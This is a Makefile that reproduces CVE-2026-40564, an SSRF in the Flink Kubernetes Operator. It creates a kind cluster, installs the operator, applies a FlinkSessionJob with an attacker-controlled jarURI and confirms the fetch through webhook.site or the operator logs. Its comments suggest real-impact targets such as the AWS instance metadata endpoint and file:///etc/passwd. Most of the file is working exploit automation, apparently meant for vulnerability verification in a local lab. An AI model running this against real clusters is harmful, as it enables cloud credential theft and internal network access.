README.md
Rendering markdown...
SHELL := /usr/bin/env bash
.SHELLFLAGS := -eu -o pipefail -c
KIND_CLUSTER_NAME ?= cve-2026-40564
OPERATOR_VERSION ?= 1.14.0
NAMESPACE ?= default
# Generous default so a slow ghcr.io image pull does not fail the install.
HELM_TIMEOUT ?= 10m
HELM_REPO_URL := https://downloads.apache.org/flink/flink-kubernetes-operator-$(OPERATOR_VERSION)/
# SSRF_URL is the full jarURI the operator is coerced into fetching, used verbatim.
# Leave it empty and a fresh webhook.site URL is allocated for you.
# Examples:
# make verify SSRF_URL=https://webhook.site/<uuid>/exploit.jar # reuse a webhook.site URL
# make verify SSRF_URL=https://my.interactsh.example/x.jar # Burp/interactsh collaborator
# make verify SSRF_URL=http://169.254.169.254/latest/meta-data/ # AWS IMDS (real impact)
# make verify SSRF_URL=file:///etc/passwd # non-HTTP scheme
# WEBHOOK_URL is accepted as an alias for SSRF_URL.
# verify-ssrf auto-detects the target: webhook.site URLs are confirmed via its API;
# any other target is confirmed from the operator's own logs.
SSRF_URL ?=
WEBHOOK_URL ?=
TARGET_URL := $(or $(SSRF_URL),$(WEBHOOK_URL))
.PHONY: help verify cluster-up install-operator session-cluster trigger-ssrf verify-ssrf cleanup
help:
@printf 'CVE-2026-40564 Reproducer\n\n'
@printf 'Quick start: make verify\n\n'
@printf 'Targets:\n'
@printf ' verify Full end-to-end (default)\n'
@printf ' cluster-up Create kind cluster + patch CoreDNS\n'
@printf ' install-operator Helm-install operator + patch its dnsConfig\n'
@printf ' session-cluster Apply the Flink session cluster, wait for JM READY\n'
@printf ' trigger-ssrf Allocate a webhook.site URL and apply the malicious CR\n'
@printf ' verify-ssrf Poll webhook.site and print captured requests\n'
@printf ' cleanup Delete the kind cluster\n\n'
@printf 'Variables:\n'
@printf ' SSRF_URL=... Full jarURI to coerce the operator into fetching\n'
@printf ' (any URL/scheme; default: auto-allocated webhook.site)\n'
@printf ' KIND_CLUSTER_NAME Cluster name (default: %s)\n' $(KIND_CLUSTER_NAME)
@printf ' OPERATOR_VERSION Operator chart/image version (default: %s)\n' $(OPERATOR_VERSION)
verify: cluster-up install-operator session-cluster trigger-ssrf verify-ssrf
# ---------- 1/5 ----------
cluster-up:
@echo "==> [1/5] cluster-up"
@if ! kind get clusters | grep -q "^$(KIND_CLUSTER_NAME)$$"; then \
kind create cluster --name $(KIND_CLUSTER_NAME); \
else \
echo "kind cluster '$(KIND_CLUSTER_NAME)' already exists"; \
fi
@kubectl cluster-info --context kind-$(KIND_CLUSTER_NAME) >/dev/null
@# kind on Linux + systemd-resolved makes CoreDNS forward to 127.0.0.1, so fix it.
@if kubectl -n kube-system get configmap coredns -o yaml | grep -q "forward \. /etc/resolv.conf"; then \
echo " patching CoreDNS to forward to 1.1.1.1 / 8.8.8.8..."; \
kubectl -n kube-system get configmap coredns -o yaml \
| sed 's|forward \. /etc/resolv.conf|forward . 1.1.1.1 8.8.8.8|' \
| kubectl apply -f - >/dev/null; \
kubectl -n kube-system rollout restart deployment coredns >/dev/null; \
kubectl -n kube-system rollout status deployment coredns --timeout=120s >/dev/null; \
fi
# ---------- 2/5 ----------
install-operator:
@echo "==> [2/5] install-operator"
@helm repo add flink-operator $(HELM_REPO_URL) >/dev/null 2>&1 || true
@helm repo update flink-operator >/dev/null
@helm upgrade --install flink-kubernetes-operator flink-operator/flink-kubernetes-operator \
--version $(OPERATOR_VERSION) \
--namespace $(NAMESPACE) \
--set webhook.create=false \
--wait --timeout $(HELM_TIMEOUT) >/dev/null
@# Strip the host's DNS search domains from the operator pod.
@kubectl -n $(NAMESPACE) patch deployment flink-kubernetes-operator --type=strategic -p \
'{"spec":{"template":{"spec":{"dnsPolicy":"None","dnsConfig":{"nameservers":["10.96.0.10"],"searches":["$(NAMESPACE).svc.cluster.local","svc.cluster.local","cluster.local"],"options":[{"name":"ndots","value":"5"}]}}}}}' >/dev/null
@kubectl -n $(NAMESPACE) rollout status deployment/flink-kubernetes-operator --timeout=120s
# ---------- 3/5 ----------
session-cluster:
@echo "==> [3/5] session-cluster"
@kubectl -n $(NAMESPACE) apply -f manifests/session-cluster.yaml >/dev/null
@echo " waiting for JM READY (first run pulls flink:1.17, can take ~5 min)..."
@kubectl -n $(NAMESPACE) wait --for=jsonpath='{.status.jobManagerDeploymentStatus}'=READY \
flinkdeployment/session-cluster --timeout=10m
# ---------- 4/5 ----------
trigger-ssrf:
@echo "==> [4/5] trigger-ssrf"
@if [ -n "$(TARGET_URL)" ]; then \
URL="$(TARGET_URL)"; \
echo " using configured target"; \
else \
echo " allocating a fresh webhook.site token..."; \
TOKEN=$$(curl -sf -X POST -H "Accept: application/json" "https://webhook.site/token" 2>/dev/null | jq -r '.uuid' 2>/dev/null || true); \
if [ -z "$$TOKEN" ] || [ "$$TOKEN" = "null" ]; then \
echo "FAIL: could not allocate a webhook.site token (no network, or jq missing)."; \
echo "Provide a target explicitly: make trigger-ssrf SSRF_URL=https://webhook.site/<uuid>/exploit.jar"; \
exit 1; \
fi; \
URL="https://webhook.site/$$TOKEN/exploit.jar"; \
fi; \
echo; \
echo " SSRF target : $$URL"; \
UUID=$$(printf '%s' "$$URL" | grep -oE 'webhook\.site/[a-f0-9-]{36}' | cut -d/ -f2 || true); \
if [ -n "$$UUID" ]; then echo " Dashboard : https://webhook.site/#!/view/$$UUID"; fi; \
echo; \
sed "s|jarURI: .*|jarURI: $$URL|" manifests/vulnerable-sessionjob.yaml \
| kubectl -n $(NAMESPACE) apply -f - >/dev/null
@echo " FlinkSessionJob applied."
# ---------- 5/5 ----------
verify-ssrf:
@echo "==> [5/5] verify-ssrf"
@JARURI=$$(kubectl -n $(NAMESPACE) get flinksessionjob cve-2026-40564-ssrf-demo -o jsonpath='{.spec.job.jarURI}' 2>/dev/null); \
if [ -z "$$JARURI" ]; then \
echo "FAIL: no cve-2026-40564-ssrf-demo FlinkSessionJob found in namespace $(NAMESPACE)."; \
echo "Run 'make trigger-ssrf' first."; \
exit 1; \
fi; \
echo " target jarURI: $$JARURI"; \
UUID=$$(printf '%s' "$$JARURI" | grep -oE 'webhook\.site/[a-f0-9-]{36}' | cut -d/ -f2 || true); \
if [ -n "$$UUID" ]; then \
echo " target is webhook.site, confirming via its REST API..."; \
curl -sf -X DELETE "https://webhook.site/token/$$UUID/request" >/dev/null 2>&1 || true; \
for i in $$(seq 1 90); do \
RESP=$$(curl -sf --max-time 5 "https://webhook.site/token/$$UUID/requests?sorting=newest" 2>/dev/null || true); \
if [ -n "$$RESP" ] && printf '%s' "$$RESP" | grep -q '"method"'; then \
echo; echo " === webhook.site captured requests (newest first) ==="; \
if command -v jq >/dev/null 2>&1; then \
printf '%s' "$$RESP" | jq -r '.data[:5][] | " \(.created_at) \(.method) \(.url)\n User-Agent: \(.user_agent)\n Source IP: \(.ip)"'; \
else \
echo " (install jq for pretty output; raw JSON below)"; printf '%s\n' "$$RESP" | head -c 1500; echo; \
fi; \
echo; echo " CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL."; \
echo " Dashboard: https://webhook.site/#!/view/$$UUID"; \
exit 0; \
fi; \
sleep 2; \
done; \
echo "FAIL: no requests captured within the timeout."; \
else \
echo " custom target, confirming from the operator's own logs..."; \
for i in $$(seq 1 90); do \
if kubectl -n $(NAMESPACE) logs deployment/flink-kubernetes-operator 2>/dev/null | grep -q "HttpArtifactFetcher"; then \
echo; echo " === operator stack frames (proof the fetch ran) ==="; \
kubectl -n $(NAMESPACE) logs deployment/flink-kubernetes-operator \
| grep -E "HttpArtifactFetcher|ArtifactManager\.fetch|uploadJar|submitJobToSessionCluster" | head -10 || true; \
echo; echo " CVE-2026-40564 CONFIRMED: the operator entered HttpArtifactFetcher.fetch with the attacker-supplied jarURI."; \
echo " (Whether the connection completed depends on the target; the SSRF is the operator issuing the request.)"; \
exit 0; \
fi; \
sleep 2; \
done; \
echo "FAIL: no HttpArtifactFetcher activity in the operator logs within the timeout."; \
fi; \
echo "FlinkSessionJob status.error:"; \
kubectl -n $(NAMESPACE) get flinksessionjob cve-2026-40564-ssrf-demo -o jsonpath='{.status.error}{"\n"}' || true; \
exit 1
cleanup:
@kind delete cluster --name $(KIND_CLUSTER_NAME)